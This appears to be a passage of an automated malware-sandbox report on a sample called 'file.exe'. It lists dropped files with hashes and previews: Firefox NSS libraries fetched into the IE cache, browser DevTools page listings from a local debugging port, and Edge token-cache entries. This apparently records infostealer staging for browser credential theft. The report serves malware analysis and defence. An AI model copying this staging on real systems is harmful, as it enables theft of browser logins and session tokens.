SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWRyi1zNtrkALEqodR9KJ+hD3FytwKJDSgzMMd6qD45:+/Ps+wsI7yOsIqodRBKtSmd6qE7lFoC
MD5:	AEFD9ECC30E4DA66FA14B54ECDC92A59
SHA1:	775FC02119EACB9AD5BA5A1542BC66552BD222BF
SHA-256:	EDC7724E942638C5017A3A5FCD16EB9920F00F14EDC39DCF085E50A86610926A
SHA-512:	60E907347026162D1BC9CE23D088A5A36EAF0BD8ACB2807156E14182F22DF8681121B1AB3999E6E48F74BE9A344BDB439E2D0BCFC07703CA5430381484DB45AA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8469794905719885
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxzxl9Il8u2ESGW3px0lnu03QH/d1rc:miYsESGWZx0lu03gI
MD5:	E25694D0A2F54E21205CB11BB2F573F7
SHA1:	BB0D1A6D8A060444D476FB80F135E0247AD0ED95
SHA-256:	8CC1A0398A60614E185AD3AF19653FFE28FAE43E5DD9E47F2FBD0D7BAF67E6F3
SHA-512:	E860C6CF8FA86608E0E069C2A10213D7FFDCAEE4D28AFB069A1386CCDEB234DDB956CABF21A60944BB01FC55E047FB0809F5E4CD8E916F955827606FF7233006
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.B.l.P.s.u.Q.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.5.5.x.n.g./.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.005607352085334
Encrypted:	false
SSDEEP:	96:JYsEy90HNDQDK288Gd8MLNEz2FmKmaUI+GNSDTKP:J7NauWFpEz2ZYI+GU3Q
MD5:	34C5D1FEED0293D1FAAE0C388BACF348
SHA1:	B6C3F539F9856B464BE55923EA181FCF83892D16
SHA-256:	AEF7F7781A36A6BABE71DBB59051DC398A8020167CE65DFC7AFDF64AA8786D7C
SHA-512:	C55DBE9B43DEFE77324CA202D484C51C85834F35130D2CBE2F639F4BAAD25BDB6950A2C9D55D58DCB5B5F4E1948DE73886A56708946E3F168A2FF149EB4E2E0C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.h.Y.8.m.N.w.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.5.5.x.n.g./.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.897077248020093
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xrxl9Il8u2EuC0jj6vjNtiJ/0XCho3AWsGs3Qld/vc:aFYsEuC0jWLNvKo3AZ2E
MD5:	5484D352E190EE56BAF73105069376FF
SHA1:	4ED2DF16ABD0B3DC1EF8121C81C7843399F307F8
SHA-256:	9A969664640AED24AE93BA8A7D7E717072713CE068215AC068058D0A2E2010AD
SHA-512:	EA8F954F3DB6CA21FBB5C969DF33F5EBD95765ED4540E087C1ED1653BA743E9A7EE3F502679144B8E0E58E702C67EC1BD438961D0D69D96F2F0ED089A4FC2377
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".h.Q.F.F.y.K.1.J.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.5.5.x.n.g./.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.396149412837712
Encrypted:	false
SSDEEP:	96:6NnQbzqHQb3NnQEbQSNnQM9Q5NnQddgEQMNnQcQnXNnQcT3DQcmNnQpKDwQpMNnb:6NwNbNENsdNUNxYNCKDlMNua
MD5:	D6913D08F2F45631F39D8EA91DCAC35E
SHA1:	3959CCCD48CB9C4844D3BB7B00B6DFC19F06B163
SHA-256:	E52AD622CB90FCAEBF388E5D2FAFF39633B2BDF0DE7A3D48A01826836D916DEF
SHA-512:	B0DBC9029E7E6BFAFF5F1F73798E58B0B61872874E994E294F5A39CA95EBBED62DA06FF4A3D0632C97B24AE827ABC503AB970CEC48A99088E783908ABB700BB3
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8140D48EA5EE13DB0C5CD07D79A3381F",.. "id": "8140D48EA5EE13DB0C5CD07D79A3381F",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8140D48EA5EE13DB0C5CD07D79A3381F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/0677CE7E62822153AC84653B97E0FC0B",.. "id": "0677CE7E62822153AC84653B97E0FC0B",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/0677CE7E62822153AC84653B97E0FC0B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.379237840465242
Encrypted:	false
SSDEEP:	48:SfNaoQ1TEQtfNaoQjS3+ZS3+2QjS34fNaoQWmZQWRFfNaoQ+l0UrU0U8Qh:6NnQ1TEQZNnQQ+e+2QQENnQWmZQWvNnS
MD5:	5393A1A86A35BB698A750D03CEA4FBC6
SHA1:	AF8231522AB2152AC6A96259307B74923431F861
SHA-256:	6A9D01E8D0AA2FEAB24202955D3FD937A980BEB3456061FCE9551454D64902D0
SHA-512:	99815911FCE1506E22577DCDFCD87B6B35479FD40683A295E7E444419F258637B563802FFCC90B8726002EC97D1590D90C856C2132FEC6CFF159A0B38201779C
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/ADE4A0BCB73287693AB815838922AE42",.. "id": "ADE4A0BCB73287693AB815838922AE42",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/ADE4A0BCB73287693AB815838922AE42"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7B6971DE4C87C013BBF0406F979A5584",.. "id": "7B6971DE4C87C013BBF0406F979A5584",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7B6971DE4C87C013BBF0406F979A5584"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8f6c9e94-4a18-40e7-8d7f-37555448bc3b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\913e474f-d01b-4cae-8150-2ecd77ce9598.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CC 2017 (Macintosh), datetime=2019:01:23 13:24:18], baseline, precision 8, 401x402, components 3
Category:	dropped
Size (bytes):	1573084
Entropy (8bit):	7.992523286469539
Encrypted:	true
SSDEEP:	49152:iby3gMRtd/T46sveB+Kh5Bqzsc8DNpCpV2OclxBcQu:irmT46s6p058DNpCbSlIQu
MD5:	275A74F4F6BCF4136258D38B70D08507
SHA1:	633884BB6B70251473E8FEAF796762094E8B4B1B
SHA-256:	FCA216BC6CE1A7B90CA5479DCB34A8E3EF190A8867F8B77B8D4EFDDE47700921
SHA-512:	30A980B89C142DD79C78A5405F005237053FD662DE216A07ACEAECBD9AA6E2EBC5084CFF28BE92244F673DEB113602F42A7D8DAADAE37A1594CC7A834B81A7E1
Malicious:	false
Preview:	......JFIF.....,.,......Exif..MM..............................b...........j.(...........1.....$...r.2...........i...............-....'..-....'.Adobe Photoshop CC 2017 (Macintosh).2019:01:23 13:24:18.....................................................................$...........,.(.....................4...................H.......H.........C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......w.w..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..4..}Z...5uB. c v..?..........My4.....f..O.I.?....

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.404500427380758
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0GR5Fi8Q0Gf5M:JIVuwEw5MUFZLBQLtJEM
MD5:	94507875DAC6F07DE393B160F6307ED0
SHA1:	F5AE3A335154A47F8DE0440225ABA70821CE10D5
SHA-256:	E8A5BB120DA50B78E3121F8E7D2A8689410577BD892D416E3143D428BC9DEF6D
SHA-512:	B35BF44CC9283F11F5460F27D681CAD9C49F4B26216BD88F7C7A8ECEF835ADE09B33812FD80A7FA806DED028167C0B476875D3A828CB246E9F87BBF794FD2C5E
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\e65089c8-c66c-47fb-93b3-1772e912b3b5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\e7782af0-c2b8-4c2c-b16b-9837ccf40921.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
